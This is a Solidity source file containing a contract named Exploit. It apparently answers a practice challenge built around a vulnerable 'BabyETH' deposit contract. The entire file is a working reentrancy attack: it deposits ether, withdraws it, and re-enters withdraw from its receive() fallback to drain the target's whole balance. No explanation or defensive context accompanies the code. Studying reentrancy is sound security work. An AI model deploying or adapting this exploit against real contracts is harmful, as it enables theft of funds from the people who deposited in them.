// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IBabyETH { function deposit() external payable; function withdraw(uint256 amount) external; } contract Exploit { IBabyETH public target; constructor(address _target) { target = IBabyETH(_target); } function exploit() external payable { target.deposit{value: msg.value}(); target.withdraw(msg.value); } receive() external payable { if (address(target).balance > 0) { target.withdraw(address(target).balance); } } }